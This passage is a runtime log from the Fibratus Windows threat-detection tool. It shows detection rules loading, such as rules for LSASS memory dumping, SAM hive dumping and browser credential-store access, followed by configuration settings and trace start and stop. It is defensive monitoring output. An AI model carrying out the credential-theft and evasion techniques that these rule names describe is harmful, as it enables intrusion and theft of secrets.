C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:16:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:16:22+01:00 level=info msg=bootstrapping with pid 6936. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:16:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true max-buffers=>36 buffer-size=>512 enable-mem=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true min-buffers=>16 enable-dns=>false enable-net=>true enable-fileio=>true enable-thread=>true stack-enrichment=>true enable-image=>true enable-threadpool=>false enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-age=>0 max-size=>100 level=>info] + output ......................... [ http=>[ tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false method=>POST enabled=>false serializer=>json endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s flush-period=>1s index-name=>fibratus trace-log=>false gzip-compression=>false healthcheck=>true sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s enabled=>false bulk-workers=>1] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic passive=>false delivery-mode=>transient durable=>false tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false vhost=>/ timeout=>5s]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-files=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false excluded-files=>[] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:16:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:16:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:16:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:16:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:16:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:19:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from 